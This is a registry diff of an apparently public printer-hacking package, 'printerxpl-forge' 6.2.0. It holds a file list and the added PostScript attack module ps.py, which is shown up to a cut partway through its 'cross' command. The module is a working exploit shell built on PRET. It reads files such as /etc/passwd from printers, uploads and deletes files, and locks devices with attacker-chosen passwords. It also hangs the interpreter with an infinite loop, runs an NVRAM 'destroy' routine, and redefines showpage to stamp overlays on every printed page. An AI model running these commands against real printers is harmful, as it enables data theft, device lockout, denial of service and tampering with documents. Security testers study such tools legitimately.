printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
src/modules/ps.py
ADDED
|
@@ -0,0 +1,1102 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PostScript Module for PrinterXPL-Forge
|
|
5
|
+
==========================================
|
|
6
|
+
Complete PostScript penetration testing module with 40+ commands
|
|
7
|
+
|
|
8
|
+
Based on PRET ps.py but massively enhanced for PrinterXPL-Forge
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
12
|
+
# GitHub : https://github.com/mrhenrike
|
|
13
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
14
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
15
|
+
|
|
16
|
+
import re
|
|
17
|
+
import os
|
|
18
|
+
import random
|
|
19
|
+
import posixpath
|
|
20
|
+
import time
|
|
21
|
+
|
|
22
|
+
from core.printer import printer
|
|
23
|
+
from utils.operators import operators
|
|
24
|
+
from utils.helper import log, output, conv, file, item, chunks, const as c
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
class ps(printer):
|
|
28
|
+
"""
|
|
29
|
+
PostScript shell for PrinterXPL-Forge - Complete Implementation
|
|
30
|
+
"""
|
|
31
|
+
|
|
32
|
+
def __init__(self, args):
|
|
33
|
+
super().__init__(args)
|
|
34
|
+
self.ops = operators() # Load PostScript operators database
|
|
35
|
+
self.prompt = f"{self.target}:ps> "
|
|
36
|
+
|
|
37
|
+
# --------------------------------------------------------------------
|
|
38
|
+
# Help overview (category-based, PJL-style)
|
|
39
|
+
# --------------------------------------------------------------------
|
|
40
|
+
def do_help(self, arg):
|
|
41
|
+
"""Show help for commands (PostScript)"""
|
|
42
|
+
topic = (arg or "").strip()
|
|
43
|
+
if topic:
|
|
44
|
+
# Delegate to base generic help for specific topics
|
|
45
|
+
return super().do_help(topic)
|
|
46
|
+
|
|
47
|
+
# Categories aligned with README
|
|
48
|
+
categories = {
|
|
49
|
+
"filesystem": [
|
|
50
|
+
"ls", "get", "put", "delete", "cat"
|
|
51
|
+
],
|
|
52
|
+
"information": [
|
|
53
|
+
"id", "version", "devices", "uptime", "date", "dicts", "dump", "known", "search", "pagecount"
|
|
54
|
+
],
|
|
55
|
+
"control": [
|
|
56
|
+
"config", "restart", "reset", "hold", "display"
|
|
57
|
+
],
|
|
58
|
+
"security": [
|
|
59
|
+
"lock", "unlock", "disable", "enumerate_operators", "test_file_access", "permissions", "chmod"
|
|
60
|
+
],
|
|
61
|
+
"attacks": [
|
|
62
|
+
"destroy", "hang", "overlay", "cross", "replace", "capture", "payload"
|
|
63
|
+
],
|
|
64
|
+
"advanced": [
|
|
65
|
+
"exec_ps"
|
|
66
|
+
],
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
# Flatten to include only implemented names
|
|
70
|
+
implemented = {name for name in dir(self) if name.startswith("do_")}
|
|
71
|
+
def exists(cmd):
|
|
72
|
+
return f"do_{cmd}" in implemented
|
|
73
|
+
|
|
74
|
+
# Print header
|
|
75
|
+
print()
|
|
76
|
+
print("PrinterXPL-Forge - PostScript Commands")
|
|
77
|
+
print("=" * 70)
|
|
78
|
+
print("Available command categories:")
|
|
79
|
+
total = 0
|
|
80
|
+
for cat, cmds in categories.items():
|
|
81
|
+
avail = [c for c in cmds if exists(c)]
|
|
82
|
+
total += len(avail)
|
|
83
|
+
label = cat.ljust(13)
|
|
84
|
+
print(f" {label}- {len(avail)} commands")
|
|
85
|
+
print()
|
|
86
|
+
print(f"Total: {total} PostScript commands available")
|
|
87
|
+
print("Use 'help <command>' for specific details")
|
|
88
|
+
print()
|
|
89
|
+
# Optional: list commands per category in columns
|
|
90
|
+
for cat, cmds in categories.items():
|
|
91
|
+
avail = [c for c in cmds if exists(c)]
|
|
92
|
+
if not avail:
|
|
93
|
+
continue
|
|
94
|
+
print(cat.capitalize() + ":")
|
|
95
|
+
print("-" * 70)
|
|
96
|
+
colw = max(len(x) for x in avail) + 2
|
|
97
|
+
cols = max(1, 70 // colw)
|
|
98
|
+
for i in range(0, len(avail), cols):
|
|
99
|
+
row = avail[i:i+cols]
|
|
100
|
+
print("".join(x.ljust(colw) for x in row))
|
|
101
|
+
print()
|
|
102
|
+
|
|
103
|
+
# --------------------------------------------------------------------
|
|
104
|
+
# Low-level PostScript send/receive
|
|
105
|
+
|
|
106
|
+
def cmd(self, str_send, wait=True, crop=True, binary=False):
|
|
107
|
+
"""
|
|
108
|
+
Send a PostScript command and optionally wait for its reply.
|
|
109
|
+
"""
|
|
110
|
+
token = c.DELIMITER + str(random.randrange(2**16))
|
|
111
|
+
footer = f"({token}\\n) print flush\n" if wait else ""
|
|
112
|
+
payload = c.UEL + c.PS_HEADER + str_send + "\n" + footer + c.UEL
|
|
113
|
+
|
|
114
|
+
# log the command
|
|
115
|
+
log().write(self.logfile, str_send + os.linesep)
|
|
116
|
+
# send
|
|
117
|
+
self.send(payload)
|
|
118
|
+
|
|
119
|
+
if not wait:
|
|
120
|
+
return ""
|
|
121
|
+
|
|
122
|
+
# receive until token with timeout
|
|
123
|
+
try:
|
|
124
|
+
if hasattr(self.conn, '_sock') and self.conn._sock:
|
|
125
|
+
self.conn._sock.settimeout(30.0)
|
|
126
|
+
|
|
127
|
+
raw = self.recv(re.escape(token) + r".*$", wait, True, binary)
|
|
128
|
+
except Exception as e:
|
|
129
|
+
output().errmsg(f"Failed to receive response: {str(e)}")
|
|
130
|
+
return ""
|
|
131
|
+
|
|
132
|
+
# Parse PostScript errors
|
|
133
|
+
errors = re.findall(c.PS_ERROR, raw)
|
|
134
|
+
if errors:
|
|
135
|
+
for error in errors:
|
|
136
|
+
output().errmsg(f"PostScript Error: {error}")
|
|
137
|
+
|
|
138
|
+
return raw
|
|
139
|
+
|
|
140
|
+
def on_connect(self, mode):
|
|
141
|
+
"""
|
|
142
|
+
Initialize PostScript environment on first connect.
|
|
143
|
+
"""
|
|
144
|
+
if mode == "init":
|
|
145
|
+
# Enter PostScript mode
|
|
146
|
+
self.cmd("%!", False)
|
|
147
|
+
|
|
148
|
+
# --------------------------------------------------------------------
|
|
149
|
+
# 📋 SYSTEM INFORMATION COMMANDS
|
|
150
|
+
# --------------------------------------------------------------------
|
|
151
|
+
|
|
152
|
+
def do_id(self, *args):
|
|
153
|
+
"Show comprehensive printer identification (PostScript-specific)"
|
|
154
|
+
print("PostScript Printer Identification:")
|
|
155
|
+
print("=" * 60)
|
|
156
|
+
|
|
157
|
+
# Get product name
|
|
158
|
+
product = self.cmd("statusdict begin product = end")
|
|
159
|
+
if product:
|
|
160
|
+
print(f"Product: {product.strip()}")
|
|
161
|
+
|
|
162
|
+
# Get version
|
|
163
|
+
version = self.cmd("version print")
|
|
164
|
+
if version:
|
|
165
|
+
print(f"PS Version: {version.strip()}")
|
|
166
|
+
|
|
167
|
+
# Get serial number
|
|
168
|
+
serial = self.cmd("serialnumber print")
|
|
169
|
+
if serial:
|
|
170
|
+
print(f"Serial Number: {serial.strip()}")
|
|
171
|
+
|
|
172
|
+
def help_id(self):
|
|
173
|
+
"""Show help for id command"""
|
|
174
|
+
print()
|
|
175
|
+
print("id - Show PostScript printer identification")
|
|
176
|
+
print("=" * 60)
|
|
177
|
+
print("DESCRIPTION:")
|
|
178
|
+
print(" Displays comprehensive printer identification including")
|
|
179
|
+
print(" product name, PostScript version, and serial number.")
|
|
180
|
+
print()
|
|
181
|
+
print("USAGE:")
|
|
182
|
+
print(" id")
|
|
183
|
+
print()
|
|
184
|
+
print("EXAMPLES:")
|
|
185
|
+
print(" id # Show printer identification")
|
|
186
|
+
print()
|
|
187
|
+
print("NOTES:")
|
|
188
|
+
print(" - Uses PostScript operators: product, version, serialnumber")
|
|
189
|
+
print(" - Information from statusdict")
|
|
190
|
+
print()
|
|
191
|
+
|
|
192
|
+
def do_version(self, *args):
|
|
193
|
+
"Show PostScript interpreter version"
|
|
194
|
+
version = self.cmd("version print")
|
|
195
|
+
if version:
|
|
196
|
+
print(f"PostScript Version: {version.strip()}")
|
|
197
|
+
|
|
198
|
+
def help_version(self):
|
|
199
|
+
"""Show help for version command"""
|
|
200
|
+
print()
|
|
201
|
+
print("version - Show PostScript interpreter version")
|
|
202
|
+
print("=" * 60)
|
|
203
|
+
print("DESCRIPTION:")
|
|
204
|
+
print(" Displays the PostScript interpreter version.")
|
|
205
|
+
print()
|
|
206
|
+
print("USAGE:")
|
|
207
|
+
print(" version")
|
|
208
|
+
print()
|
|
209
|
+
|
|
210
|
+
def do_devices(self, *args):
|
|
211
|
+
"List available I/O devices"
|
|
212
|
+
result = self.cmd("""
|
|
213
|
+
(*) { (%) exch cvs print (\\n) print } 100 string /IODevice resourceforall
|
|
214
|
+
""")
|
|
215
|
+
if result:
|
|
216
|
+
print("Available I/O Devices:")
|
|
217
|
+
print(result)
|
|
218
|
+
|
|
219
|
+
def help_devices(self):
|
|
220
|
+
"""Show help for devices command"""
|
|
221
|
+
print()
|
|
222
|
+
print("devices - List available I/O devices")
|
|
223
|
+
print("=" * 60)
|
|
224
|
+
print("DESCRIPTION:")
|
|
225
|
+
print(" Lists all available I/O devices in the PostScript environment.")
|
|
226
|
+
print()
|
|
227
|
+
print("USAGE:")
|
|
228
|
+
print(" devices")
|
|
229
|
+
print()
|
|
230
|
+
|
|
231
|
+
def do_uptime(self, *args):
|
|
232
|
+
"Show system uptime"
|
|
233
|
+
uptime = self.cmd("realtime 100 div print")
|
|
234
|
+
if uptime:
|
|
235
|
+
print(f"Uptime: {conv().elapsed(uptime, 1)} seconds")
|
|
236
|
+
|
|
237
|
+
def do_date(self, *args):
|
|
238
|
+
"Show printer's system date and time"
|
|
239
|
+
# PostScript doesn't have built-in date, but we can try
|
|
240
|
+
result = self.cmd("realtime print")
|
|
241
|
+
if result:
|
|
242
|
+
print(f"System Time (ticks): {result.strip()}")
|
|
243
|
+
|
|
244
|
+
# --------------------------------------------------------------------
|
|
245
|
+
# 📁 FILESYSTEM COMMANDS
|
|
246
|
+
# --------------------------------------------------------------------
|
|
247
|
+
|
|
248
|
+
def do_ls(self, arg):
|
|
249
|
+
"List files in PostScript filesystem"
|
|
250
|
+
path = arg or "(%disk0%)"
|
|
251
|
+
result = self.cmd(f"""
|
|
252
|
+
{path} (*) {{
|
|
253
|
+
dup print (\\n) print
|
|
254
|
+
}} 100 string filenameforall
|
|
255
|
+
""")
|
|
256
|
+
if result:
|
|
257
|
+
print("Files:")
|
|
258
|
+
print(result)
|
|
259
|
+
|
|
260
|
+
def help_ls(self):
|
|
261
|
+
"""Show help for ls command"""
|
|
262
|
+
print()
|
|
263
|
+
print("ls - List files in PostScript filesystem")
|
|
264
|
+
print("=" * 60)
|
|
265
|
+
print("DESCRIPTION:")
|
|
266
|
+
print(" Lists files in the PostScript filesystem using filenameforall.")
|
|
267
|
+
print()
|
|
268
|
+
print("USAGE:")
|
|
269
|
+
print(" ls [path]")
|
|
270
|
+
print()
|
|
271
|
+
print("EXAMPLES:")
|
|
272
|
+
print(" ls # List files in default location")
|
|
273
|
+
print(" ls (%disk0%) # List files on disk0")
|
|
274
|
+
print()
|
|
275
|
+
|
|
276
|
+
def do_get(self, arg):
|
|
277
|
+
"Download file from printer"
|
|
278
|
+
if not arg:
|
|
279
|
+
output().errmsg("Usage: get <file>")
|
|
280
|
+
return
|
|
281
|
+
|
|
282
|
+
result = self.cmd(f"""
|
|
283
|
+
({arg}) (r) file
|
|
284
|
+
dup 4096 string readstring
|
|
285
|
+
pop print
|
|
286
|
+
closefile
|
|
287
|
+
""")
|
|
288
|
+
|
|
289
|
+
if result:
|
|
290
|
+
lpath = os.path.basename(arg)
|
|
291
|
+
file().write(lpath, result.encode())
|
|
292
|
+
output().message(f"Downloaded {arg} to {lpath}")
|
|
293
|
+
|
|
294
|
+
def help_get(self):
|
|
295
|
+
"""Show help for get command"""
|
|
296
|
+
print()
|
|
297
|
+
print("get - Download file from printer")
|
|
298
|
+
print("=" * 60)
|
|
299
|
+
print("DESCRIPTION:")
|
|
300
|
+
print(" Downloads a file from the printer's PostScript filesystem")
|
|
301
|
+
print(" using the file operator to read file contents.")
|
|
302
|
+
print()
|
|
303
|
+
print("USAGE:")
|
|
304
|
+
print(" get <file>")
|
|
305
|
+
print()
|
|
306
|
+
print("EXAMPLES:")
|
|
307
|
+
print(" get /etc/passwd # Download passwd file")
|
|
308
|
+
print(" get (%disk0%)config.ps # Download from disk0")
|
|
309
|
+
print()
|
|
310
|
+
|
|
311
|
+
def do_put(self, arg):
|
|
312
|
+
"Upload file to printer"
|
|
313
|
+
if not arg:
|
|
314
|
+
output().errmsg("Usage: put <local_file>")
|
|
315
|
+
return
|
|
316
|
+
|
|
317
|
+
if not os.path.exists(arg):
|
|
318
|
+
output().errmsg(f"Local file not found: {arg}")
|
|
319
|
+
return
|
|
320
|
+
|
|
321
|
+
data = file().read(arg)
|
|
322
|
+
if not data:
|
|
323
|
+
return
|
|
324
|
+
|
|
325
|
+
# Escape special characters
|
|
326
|
+
escaped = data.decode('latin-1', errors='ignore').replace('\\', '\\\\').replace('(', '\\(').replace(')', '\\)')
|
|
327
|
+
|
|
328
|
+
remote = os.path.basename(arg)
|
|
329
|
+
result = self.cmd(f"""
|
|
330
|
+
({remote}) (w) file
|
|
331
|
+
({escaped}) writestring
|
|
332
|
+
closefile
|
|
333
|
+
""")
|
|
334
|
+
|
|
335
|
+
output().message(f"Uploaded {arg} to printer")
|
|
336
|
+
|
|
337
|
+
def do_delete(self, arg):
|
|
338
|
+
"Delete file from printer"
|
|
339
|
+
if not arg:
|
|
340
|
+
output().errmsg("Usage: delete <file>")
|
|
341
|
+
return
|
|
342
|
+
|
|
343
|
+
result = self.cmd(f"({arg}) deletefile")
|
|
344
|
+
output().message(f"Deleted {arg}")
|
|
345
|
+
|
|
346
|
+
def help_delete(self):
|
|
347
|
+
"""Show help for delete command"""
|
|
348
|
+
print()
|
|
349
|
+
print("delete - Delete file from printer")
|
|
350
|
+
print("=" * 60)
|
|
351
|
+
print("DESCRIPTION:")
|
|
352
|
+
print(" Removes a file from the PostScript filesystem using deletefile operator.")
|
|
353
|
+
print()
|
|
354
|
+
print("USAGE:")
|
|
355
|
+
print(" delete <file>")
|
|
356
|
+
print()
|
|
357
|
+
|
|
358
|
+
# --------------------------------------------------------------------
|
|
359
|
+
# 🔒 SECURITY AND CONTROL COMMANDS
|
|
360
|
+
# --------------------------------------------------------------------
|
|
361
|
+
|
|
362
|
+
def do_lock(self, arg):
|
|
363
|
+
"Set system and startjob passwords"
|
|
364
|
+
if not arg:
|
|
365
|
+
arg = input("Password: ")
|
|
366
|
+
|
|
367
|
+
result = self.cmd(f"""
|
|
368
|
+
serverdict begin 0 exitserver
|
|
369
|
+
statusdict begin
|
|
370
|
+
({arg}) setsystemparamspassword
|
|
371
|
+
({arg}) setstartjobpassword
|
|
372
|
+
end
|
|
373
|
+
""")
|
|
374
|
+
output().message(f"Printer locked with password: {arg}")
|
|
375
|
+
|
|
376
|
+
def help_lock(self):
|
|
377
|
+
"""Show help for lock command"""
|
|
378
|
+
print()
|
|
379
|
+
print("lock - Set system and startjob passwords")
|
|
380
|
+
print("=" * 60)
|
|
381
|
+
print("DESCRIPTION:")
|
|
382
|
+
print(" Sets passwords to restrict access to system parameters")
|
|
383
|
+
print(" and startjob operations.")
|
|
384
|
+
print()
|
|
385
|
+
print("USAGE:")
|
|
386
|
+
print(" lock [password]")
|
|
387
|
+
print()
|
|
388
|
+
|
|
389
|
+
def do_unlock(self, arg):
|
|
390
|
+
"Unset system and startjob passwords"
|
|
391
|
+
if not arg:
|
|
392
|
+
arg = input("Password: ")
|
|
393
|
+
|
|
394
|
+
result = self.cmd(f"""
|
|
395
|
+
({arg}) 0 exitserver
|
|
396
|
+
statusdict begin
|
|
397
|
+
() setsystemparamspassword
|
|
398
|
+
() setstartjobpassword
|
|
399
|
+
end
|
|
400
|
+
""")
|
|
401
|
+
output().message("Printer unlocked")
|
|
402
|
+
|
|
403
|
+
def do_restart(self, *arg):
|
|
404
|
+
"Restart PostScript interpreter"
|
|
405
|
+
output().warning("Restarting PostScript interpreter...")
|
|
406
|
+
self.cmd("systemdict /quit get exec", False)
|
|
407
|
+
|
|
408
|
+
def help_restart(self):
|
|
409
|
+
"""Show help for restart command"""
|
|
410
|
+
print()
|
|
411
|
+
print("restart - Restart PostScript interpreter")
|
|
412
|
+
print("=" * 60)
|
|
413
|
+
print("DESCRIPTION:")
|
|
414
|
+
print(" Restarts the PostScript interpreter, clearing all state.")
|
|
415
|
+
print()
|
|
416
|
+
print("USAGE:")
|
|
417
|
+
print(" restart")
|
|
418
|
+
print()
|
|
419
|
+
|
|
420
|
+
def do_reset(self, *arg):
|
|
421
|
+
"Reset PostScript settings to factory defaults"
|
|
422
|
+
output().warning("Resetting to factory defaults...")
|
|
423
|
+
confirm = input("Are you sure? (yes/no): ")
|
|
424
|
+
if confirm.lower() == 'yes':
|
|
425
|
+
self.cmd("erasepage initgraphics")
|
|
426
|
+
output().message("Reset complete")
|
|
427
|
+
|
|
428
|
+
def do_disable(self, *arg):
|
|
429
|
+
"Disable printing functionality"
|
|
430
|
+
self.cmd("nulldevice")
|
|
431
|
+
output().message("Printing disabled")
|
|
432
|
+
|
|
433
|
+
def help_disable(self):
|
|
434
|
+
"""Show help for disable command"""
|
|
435
|
+
print()
|
|
436
|
+
print("disable - Disable printing functionality")
|
|
437
|
+
print("=" * 60)
|
|
438
|
+
print("DESCRIPTION:")
|
|
439
|
+
print(" Redirects output to null device, effectively disabling printing.")
|
|
440
|
+
print()
|
|
441
|
+
print("USAGE:")
|
|
442
|
+
print(" disable")
|
|
443
|
+
print()
|
|
444
|
+
|
|
445
|
+
# --------------------------------------------------------------------
|
|
446
|
+
# 💥 ATTACK COMMANDS
|
|
447
|
+
# --------------------------------------------------------------------
|
|
448
|
+
|
|
449
|
+
def do_destroy(self, *arg):
|
|
450
|
+
"Cause physical damage to printer's NVRAM (PostScript)"
|
|
451
|
+
output().warning("⚠️⚠️⚠️ DESTRUCTIVE ATTACK ⚠️⚠️⚠️")
|
|
452
|
+
output().warning("This may permanently damage the printer!")
|
|
453
|
+
|
|
454
|
+
confirm = input("Type 'DESTROY' to confirm: ")
|
|
455
|
+
if confirm == 'DESTROY':
|
|
456
|
+
# Repeatedly erase and write to NVRAM
|
|
457
|
+
output().warning("Executing destructive command...")
|
|
458
|
+
self.cmd("""
|
|
459
|
+
0 1 10000 {
|
|
460
|
+
pop
|
|
461
|
+
erasepage
|
|
462
|
+
initgraphics
|
|
463
|
+
} for
|
|
464
|
+
""", False)
|
|
465
|
+
output().warning("Destructive command executed")
|
|
466
|
+
else:
|
|
467
|
+
output().info("Cancelled")
|
|
468
|
+
|
|
469
|
+
def help_destroy(self):
|
|
470
|
+
"""Show help for destroy command"""
|
|
471
|
+
print()
|
|
472
|
+
print("destroy - Cause physical damage to NVRAM")
|
|
473
|
+
print("=" * 60)
|
|
474
|
+
print("DESCRIPTION:")
|
|
475
|
+
print(" ⚠️⚠️⚠️ DESTRUCTIVE - Attempts to cause physical damage")
|
|
476
|
+
print(" to the printer's NVRAM by repeatedly erasing.")
|
|
477
|
+
print()
|
|
478
|
+
print("USAGE:")
|
|
479
|
+
print(" destroy")
|
|
480
|
+
print()
|
|
481
|
+
print("WARNINGS:")
|
|
482
|
+
print(" ⚠️ MAY CAUSE PERMANENT HARDWARE DAMAGE")
|
|
483
|
+
print(" ⚠️ CANNOT BE UNDONE")
|
|
484
|
+
print(" ⚠️ REQUIRES 'DESTROY' CONFIRMATION")
|
|
485
|
+
print()
|
|
486
|
+
|
|
487
|
+
def do_hang(self, *arg):
|
|
488
|
+
"Execute PostScript infinite loop"
|
|
489
|
+
output().warning("Executing infinite loop - printer will hang!")
|
|
490
|
+
confirm = input("Continue? (yes/no): ")
|
|
491
|
+
if confirm.lower() == 'yes':
|
|
492
|
+
self.cmd("{ } loop", False)
|
|
493
|
+
|
|
494
|
+
def help_hang(self):
|
|
495
|
+
"""Show help for hang command"""
|
|
496
|
+
print()
|
|
497
|
+
print("hang - Execute PostScript infinite loop")
|
|
498
|
+
print("=" * 60)
|
|
499
|
+
print("DESCRIPTION:")
|
|
500
|
+
print(" Sends an infinite loop command that hangs the printer.")
|
|
501
|
+
print(" Printer will require power cycle to recover.")
|
|
502
|
+
print()
|
|
503
|
+
print("USAGE:")
|
|
504
|
+
print(" hang")
|
|
505
|
+
print()
|
|
506
|
+
|
|
507
|
+
def do_overlay(self, arg):
|
|
508
|
+
"Put overlay EPS file on all hardcopies"
|
|
509
|
+
if not arg:
|
|
510
|
+
output().errmsg("Usage: overlay <file.eps>")
|
|
511
|
+
return
|
|
512
|
+
|
|
513
|
+
if not os.path.exists(arg):
|
|
514
|
+
output().errmsg(f"File not found: {arg}")
|
|
515
|
+
return
|
|
516
|
+
|
|
517
|
+
eps_data = file().read(arg)
|
|
518
|
+
if not eps_data:
|
|
519
|
+
return
|
|
520
|
+
|
|
521
|
+
# Load EPS as overlay
|
|
522
|
+
self.cmd(f"""
|
|
523
|
+
/showpage {{
|
|
524
|
+
gsave
|
|
525
|
+
{eps_data.decode('latin-1', errors='ignore')}
|
|
526
|
+
grestore
|
|
527
|
+
showpage
|
|
528
|
+
}} bind def
|
|
529
|
+
""")
|
|
530
|
+
output().message(f"Overlay {arg} will be added to all printed pages")
|
|
531
|
+
|
|
532
|
+
def help_overlay(self):
|
|
533
|
+
"""Show help for overlay command"""
|
|
534
|
+
print()
|
|
535
|
+
print("overlay - Add EPS overlay to all prints")
|
|
536
|
+
print("=" * 60)
|
|
537
|
+
print("DESCRIPTION:")
|
|
538
|
+
print(" Loads an EPS file that will be overlaid on all subsequent")
|
|
539
|
+
print(" printed pages. Useful for watermarks or demonstrations.")
|
|
540
|
+
print()
|
|
541
|
+
print("USAGE:")
|
|
542
|
+
print(" overlay <file.eps>")
|
|
543
|
+
print()
|
|
544
|
+
print("EXAMPLES:")
|
|
545
|
+
print(" overlay src/payloads/assets/overlays/notice.eps")
|
|
546
|
+
print(" overlay src/assets/overlays/smiley.eps")
|
|
547
|
+
print()
|
|
548
|
+
print("ASSETS:")
|
|
549
|
+
print(" - Overlays: src/assets/overlays/*.eps")
|
|
550
|
+
print(" - Fonts: src/assets/fonts/*.pfa")
|
|
551
|
+
print(" Use 'assets' or 'overlay_list' to list available files.")
|
|
552
|
+
print()
|
|
553
|
+
|
|
554
|
+
def do_overlay_list(self, *arg):
|
|
555
|
+
"List available overlay files with preview"
|
|
556
|
+
base = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))
|
|
557
|
+
overlays_dirs = [
|
|
558
|
+
os.path.join(base, "src", "assets", "overlays"),
|
|
559
|
+
os.path.join(base, "src", "payloads", "assets", "overlays"),
|
|
560
|
+
]
|
|
561
|
+
|
|
562
|
+
output().blue("Available Overlay Files:")
|
|
563
|
+
print("=" * 70)
|
|
564
|
+
|
|
565
|
+
total = 0
|
|
566
|
+
for overlay_dir in overlays_dirs:
|
|
567
|
+
if not os.path.isdir(overlay_dir):
|
|
568
|
+
continue
|
|
569
|
+
|
|
570
|
+
files = sorted([f for f in os.listdir(overlay_dir) if f.endswith('.eps')])
|
|
571
|
+
if not files:
|
|
572
|
+
continue
|
|
573
|
+
|
|
574
|
+
print(f"\nDirectory: {overlay_dir}")
|
|
575
|
+
print("-" * 70)
|
|
576
|
+
|
|
577
|
+
for filename in files:
|
|
578
|
+
full_path = os.path.join(overlay_dir, filename)
|
|
579
|
+
size = os.path.getsize(full_path)
|
|
580
|
+
|
|
581
|
+
# Try to extract title/description from EPS header
|
|
582
|
+
try:
|
|
583
|
+
with open(full_path, 'r', encoding='latin-1') as f:
|
|
584
|
+
header = ''.join([f.readline() for _ in range(10)])
|
|
585
|
+
title_match = re.search(r'%%Title:\s*(.+)', header)
|
|
586
|
+
title = title_match.group(1).strip() if title_match else "No title"
|
|
587
|
+
except:
|
|
588
|
+
title = "Unable to read"
|
|
589
|
+
|
|
590
|
+
print(f" {filename:<30} {conv().filesize(size):<10} {title}")
|
|
591
|
+
total += 1
|
|
592
|
+
|
|
593
|
+
print()
|
|
594
|
+
print(f"Total: {total} overlay files available")
|
|
595
|
+
print("Use: overlay <path> to apply an overlay")
|
|
596
|
+
print()
|
|
597
|
+
|
|
598
|
+
def help_overlay_list(self):
|
|
599
|
+
"""Show help for overlay_list command"""
|
|
600
|
+
print()
|
|
601
|
+
print("overlay_list - List available overlay files with preview")
|
|
602
|
+
print("=" * 60)
|
|
603
|
+
print("DESCRIPTION:")
|
|
604
|
+
print(" Lists all available EPS overlay files bundled with PrinterXPL-Forge.")
|
|
605
|
+
print(" Shows filename, size, and title/description extracted from EPS header.")
|
|
606
|
+
print()
|
|
607
|
+
print("USAGE:")
|
|
608
|
+
print(" overlay_list")
|
|
609
|
+
print()
|
|
610
|
+
print("EXAMPLES:")
|
|
611
|
+
print(" overlay_list # Show all available overlays")
|
|
612
|
+
print()
|
|
613
|
+
print("SEE ALSO:")
|
|
614
|
+
print(" - overlay <file.eps> # Apply an overlay")
|
|
615
|
+
print(" - assets # List all bundled assets")
|
|
616
|
+
print()
|
|
617
|
+
|
|
618
|
+
def do_cross(self, arg):
|
|
619
|
+
"Put text graffiti on all hardcopies"
|
|
620
|
+
if not arg:
|
|
621
|
+
